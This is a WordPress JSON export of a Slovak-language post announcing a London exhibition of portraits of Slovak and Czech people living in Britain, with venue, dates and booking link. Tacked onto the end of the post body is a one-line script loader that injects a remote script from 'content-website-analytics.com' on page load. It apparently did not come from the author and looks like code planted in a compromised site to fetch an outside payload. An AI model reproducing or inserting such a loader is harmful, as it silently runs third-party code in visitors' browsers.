{"id":32915,"date":"2025-09-13T18:39:28","date_gmt":"2025-09-13T17:39:28","guid":{"rendered":"https:\/\/www.scmlondon.org\/?p=32915"},"modified":"2026-03-30T10:36:52","modified_gmt":"2026-03-30T09:36:52","slug":"pozvanka-na-vystavu","status":"publish","type":"post","link":"https:\/\/www.scmlondon.org\/?p=32915","title":{"rendered":"POZV\u00c1NKA NA V\u00ddSTAVU"},"content":{"rendered":"\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"200\" height=\"326\" src=\"https:\/\/www.scmlondon.org\/wp-content\/uploads\/2025\/09\/Obrazok1-kopia.png\" alt=\"\" class=\"wp-image-32916\" srcset=\"https:\/\/www.scmlondon.org\/wp-content\/uploads\/2025\/09\/Obrazok1-kopia.png 200w, https:\/\/www.scmlondon.org\/wp-content\/uploads\/2025\/09\/Obrazok1-kopia-184x300.png 184w\" sizes=\"auto, (max-width: 200px) 100vw, 200px\" \/><\/figure>\n\n\n\n<p><strong><a href=\"http:\/\/PORTR\u00c9TY SLOVENSKEJ A \u010cESKEJ BRIT\u00c1NIE  Portr\u00e9ty slovenskej a \u010deskej Brit\u00e1nie je nov\u00fd multidisciplin\u00e1rny projekt Slovak Theatre London, vytvoren\u00fd v spolupr\u00e1ci s filmov\u00fdm a portr\u00e9tnym fotografom Robertom Viglaskym (Peaky Blinders, Rivals).  In\u0161pir\u00e1ciou bola kniha Ulice Lond\u00fdna s\u00fa dl\u00e1\u017eden\u00e9 zlatom od Zuzany Slobodovej. Projekt oslavuje odvahu, kult\u00faru a tvorivos\u0165 Slov\u00e1kov a \u010cechov \u017eij\u00facich vo Ve\u013ekej Brit\u00e1nii.  Prv\u00fdm v\u00fdstupom projektu je v\u00fdstava ve\u013ekoform\u00e1tov\u00fdch portr\u00e9tov jednotlivcov, rod\u00edn a komunitn\u00fdch organiz\u00e1ci\u00ed naprie\u010d gener\u00e1ciami a profesiami. Portr\u00e9ty vznikli pred ru\u010dne ma\u013eovan\u00fdm pl\u00e1tnom od Hapaca Studio a sprev\u00e1dzaj\u00fa ich autentick\u00e9 v\u00fdpovede samotn\u00fdch \u00fa\u010dastn\u00edkov. V\u00fdstava sk\u00fama t\u00e9my identity, komunity a spolupatri\u010dnosti.  Portr\u00e9ty s\u00fa rozdelen\u00e9 do troch kapitol: Pionieri \u2013 ute\u010denci a emigranti z obdobia vojny a komunizmu,  Vizion\u00e1ri \u2013 profesion\u00e1li a l\u00eddri, ktor\u00ed formovali Brit\u00e1niu po roku 1989,  Potomkovia \u2013 mlad\u00e1 gener\u00e1cia h\u013eadaj\u00faca rovnov\u00e1hu medzi pluralitn\u00fdmi identitami. Zaznievaj\u00fa aj hlasy r\u00f3mskej, \u017eidovskej a zmie\u0161anej komunity, ktor\u00e9 s\u00fa \u010dasto vynech\u00e1van\u00e9 z verejn\u00e9ho diskurzu.  S\u00fa\u010das\u0165ou v\u00fdstavy je kr\u00e1tky dokument\u00e1rny film s rozhovormi zachyt\u00e1vaj\u00facimi pr\u00edbehy portr\u00e9tovan\u00fdch a interakt\u00edvny priestor, kde n\u00e1v\u0161tevn\u00edci m\u00f4\u017eu zanecha\u0165 svoj vlastn\u00fd pr\u00edbeh. Po\u010das trvania v\u00fdstavy sa uskuto\u010dnia aj bezplatn\u00e9 workshopy s \u00fa\u010dastn\u00edkmi projektu.  Projekt prin\u00e1\u0161a Slovak Theatre London, neziskov\u00e1 organiz\u00e1cia, ktor\u00e1 sp\u00e1ja divadlo s komunitn\u00fdm rozpr\u00e1van\u00edm pr\u00edbehov. Medzi jej predch\u00e1dzaj\u00face inscen\u00e1cie patria Migrants\u2019 Rhapsody, Mum, What Did You Want? a Extreme: The New Norm, s ktor\u00fdmi sa predstavila aj na prest\u00ed\u017enom festivale Edinburgh Fringe.  Robert Viglasky je medzin\u00e1rodne uzn\u00e1van\u00fd slovensk\u00fd fotograf \u017eij\u00faci v Spojenom kr\u00e1\u013eovstve, zn\u00e1my svoj\u00edm filmov\u00fdm vizu\u00e1lnym \u0161t\u00fdlom a pr\u00e1cou pre BBC, Netflix \u010di Warner Bros. P\u00f4sob\u00ed ako hlavn\u00fd fotograf seri\u00e1lu Peaky Blinders a je \u010dlenom prest\u00ed\u017enej spolo\u010dnosti Society of Motion Picture Still Photographers (SMPSP).  Rok 2025 symbolicky pripom\u00edna 80. v\u00fdro\u010die Slovensk\u00e9ho n\u00e1rodn\u00e9ho povstania a konca druhej svetovej vojny \u2013 k\u013e\u00fa\u010dov\u00e9 m\u00ed\u013eniky v hist\u00f3rii migr\u00e1cie Slov\u00e1kov a \u010cechov do Brit\u00e1nie. Dnes tu \u017eije viac ako 200 000 krajanov, no ich pr\u00edbehy s\u00fa v umeleckom priestore st\u00e1le nedostato\u010dne zast\u00fapen\u00e9. Tento projekt ich zachyt\u00e1va a otv\u00e1ra priestor na medzigenera\u010dn\u00fd dial\u00f3g. \ud83d\udcc5 Vernis\u00e1\u017e: streda 17. september 2025, 18:00 \ud83d\udccd Miesto: Nunnery Gallery, 181 Bow Road, Lond\u00fdn E3 2SJ \ud83d\uddd3 V\u00fdstava: 18.\u201322. september 2025, denne 10:00\u201316:00 \ud83c\udf9f Vstup vo\u013en\u00fd, odpor\u00fa\u010da sa rezerv\u00e1cia: http:\/\/bit.ly\/44JP6G5\">PORTR\u00c9TY SLOVENSKEJ A \u010cESKEJ BRIT\u00c1NIE<\/a><\/strong><\/p>\n\n\n\n<p><em>Portr\u00e9ty slovenskej a \u010deskej Brit\u00e1nie<\/em>&nbsp;je nov\u00fd multidisciplin\u00e1rny projekt&nbsp;Slovak Theatre London, vytvoren\u00fd v spolupr\u00e1ci s filmov\u00fdm a portr\u00e9tnym fotografom&nbsp;Robertom Viglaskym&nbsp;(<em>Peaky Blinders<\/em>,&nbsp;<em>Rivals<\/em>).&nbsp;<\/p>\n\n\n\n<p>In\u0161pir\u00e1ciou bola kniha&nbsp;<a href=\"https:\/\/www.martinus.sk\/826887-ulice-londyna-su-dlazdene-zlatom\/kniha\"><em>Ulice Lond\u00fdna s\u00fa dl\u00e1\u017eden\u00e9 zlatom<\/em><\/a>&nbsp;od Zuzany Slobodovej. Projekt oslavuje odvahu, kult\u00faru a tvorivos\u0165 Slov\u00e1kov a \u010cechov \u017eij\u00facich vo Ve\u013ekej Brit\u00e1nii.<\/p>\n\n\n\n<p>Prv\u00fdm v\u00fdstupom projektu je&nbsp;v\u00fdstava ve\u013ekoform\u00e1tov\u00fdch portr\u00e9tov&nbsp;jednotlivcov, rod\u00edn a komunitn\u00fdch organiz\u00e1ci\u00ed naprie\u010d gener\u00e1ciami a profesiami. Portr\u00e9ty vznikli pred ru\u010dne ma\u013eovan\u00fdm pl\u00e1tnom od<a href=\"https:\/\/www.hapacastudio.com\/\">&nbsp;Hapaca Studio<\/a>&nbsp;a sprev\u00e1dzaj\u00fa ich autentick\u00e9 v\u00fdpovede samotn\u00fdch \u00fa\u010dastn\u00edkov. V\u00fdstava sk\u00fama t\u00e9my identity, komunity a spolupatri\u010dnosti.<\/p>\n\n\n\n<p>Portr\u00e9ty s\u00fa rozdelen\u00e9 do troch kapitol:<\/p>\n\n\n\n<p><strong>Pionieri&nbsp;<\/strong>\u2013 ute\u010denci a emigranti z obdobia vojny a komunizmu,&nbsp;<\/p>\n\n\n\n<p><strong>Vizion\u00e1ri<\/strong>&nbsp;\u2013 profesion\u00e1li a l\u00eddri, ktor\u00ed formovali Brit\u00e1niu po roku 1989,&nbsp;<\/p>\n\n\n\n<p><strong>Potomkovia<\/strong>&nbsp;\u2013 mlad\u00e1 gener\u00e1cia h\u013eadaj\u00faca rovnov\u00e1hu medzi pluralitn\u00fdmi identitami.<\/p>\n\n\n\n<p>Zaznievaj\u00fa aj hlasy r\u00f3mskej, \u017eidovskej a zmie\u0161anej komunity, ktor\u00e9 s\u00fa \u010dasto vynech\u00e1van\u00e9 z verejn\u00e9ho diskurzu.<\/p>\n\n\n\n<p>S\u00fa\u010das\u0165ou v\u00fdstavy je kr\u00e1tky dokument\u00e1rny film s rozhovormi&nbsp;zachyt\u00e1vaj\u00facimi pr\u00edbehy portr\u00e9tovan\u00fdch a&nbsp;interakt\u00edvny priestor, kde n\u00e1v\u0161tevn\u00edci m\u00f4\u017eu zanecha\u0165 svoj vlastn\u00fd pr\u00edbeh. Po\u010das trvania v\u00fdstavy sa uskuto\u010dnia aj bezplatn\u00e9 workshopy s \u00fa\u010dastn\u00edkmi projektu.<\/p>\n\n\n\n<p>Projekt prin\u00e1\u0161a&nbsp;<a href=\"about:blank\">Slovak Theatre London<\/a>, neziskov\u00e1 organiz\u00e1cia, ktor\u00e1 sp\u00e1ja divadlo s komunitn\u00fdm rozpr\u00e1van\u00edm pr\u00edbehov. Medzi jej predch\u00e1dzaj\u00face inscen\u00e1cie patria&nbsp;<em>Migrants\u2019 Rhapsody<\/em>,&nbsp;<em>Mum, What Did You Want?<\/em>&nbsp;a&nbsp;<em>Extreme: The New Norm<\/em>, s ktor\u00fdmi sa predstavila aj na prest\u00ed\u017enom festivale Edinburgh Fringe.<\/p>\n\n\n\n<p><a href=\"https:\/\/robertviglasky.com\/\">Robert Viglasky<\/a>&nbsp;je medzin\u00e1rodne uzn\u00e1van\u00fd slovensk\u00fd fotograf \u017eij\u00faci v Spojenom kr\u00e1\u013eovstve, zn\u00e1my svoj\u00edm filmov\u00fdm vizu\u00e1lnym \u0161t\u00fdlom a pr\u00e1cou pre BBC, Netflix \u010di Warner Bros. P\u00f4sob\u00ed ako hlavn\u00fd fotograf seri\u00e1lu&nbsp;<em>Peaky Blinders<\/em>&nbsp;a je \u010dlenom prest\u00ed\u017enej spolo\u010dnosti Society of Motion Picture Still Photographers (SMPSP).<\/p>\n\n\n\n<p>Rok 2025 symbolicky pripom\u00edna 80. v\u00fdro\u010die Slovensk\u00e9ho n\u00e1rodn\u00e9ho povstania a konca druhej svetovej vojny \u2013 k\u013e\u00fa\u010dov\u00e9 m\u00ed\u013eniky v hist\u00f3rii migr\u00e1cie Slov\u00e1kov a \u010cechov do Brit\u00e1nie. Dnes tu \u017eije viac ako 200 000 krajanov, no ich pr\u00edbehy s\u00fa v umeleckom priestore st\u00e1le nedostato\u010dne zast\u00fapen\u00e9. Tento projekt ich zachyt\u00e1va a otv\u00e1ra priestor na medzigenera\u010dn\u00fd dial\u00f3g.<\/p>\n\n\n\n<p>\ud83d\udcc5&nbsp;Vernis\u00e1\u017e:&nbsp;streda 17. september 2025, 18:00<\/p>\n\n\n\n<p>\ud83d\udccd&nbsp;Miesto:&nbsp;Nunnery Gallery, 181 Bow Road, Lond\u00fdn E3 2SJ<\/p>\n\n\n\n<p>\ud83d\uddd3&nbsp;V\u00fdstava:&nbsp;18.\u201322. september 2025, denne 10:00\u201316:00<\/p>\n\n\n\n<p>\ud83c\udf9f&nbsp;Vstup vo\u013en\u00fd, odpor\u00fa\u010da sa rezerv\u00e1cia:&nbsp;<a href=\"http:\/\/bit.ly\/44JP6G5\">http:\/\/bit.ly\/44JP6G5<\/a><\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>PORTR\u00c9TY SLOVENSKEJ A \u010cESKEJ BRIT\u00c1NIE Portr\u00e9ty slovenskej a \u010deskej Brit\u00e1nie&nbsp;je nov\u00fd multidisciplin\u00e1rny projekt&nbsp;Slovak Theatre London, vytvoren\u00fd v spolupr\u00e1ci s filmov\u00fdm a portr\u00e9tnym fotografom&nbsp;Robertom Viglaskym&nbsp;(Peaky Blinders,&nbsp;Rivals).&nbsp; In\u0161pir\u00e1ciou bola kniha&nbsp;Ulice Lond\u00fdna s\u00fa&#8230; <a class=\"meta-more\" href=\"https:\/\/www.scmlondon.org\/?p=32915\">Pokra\u010dova\u0165 v \u010d\u00edtan\u00ed <span class=\"meta-nav\">&raquo;<\/span><\/a><\/p>\n","protected":false},"author":417,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[15],"tags":[],"class_list":["post-32915","post","type-post","status-publish","format-standard","hentry","category-15"],"_links":{"self":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/32915","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/users\/417"}],"replies":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=32915"}],"version-history":[{"count":1,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/32915\/revisions"}],"predecessor-version":[{"id":32917,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/32915\/revisions\/32917"}],"wp:attachment":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=32915"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=32915"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=32915"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}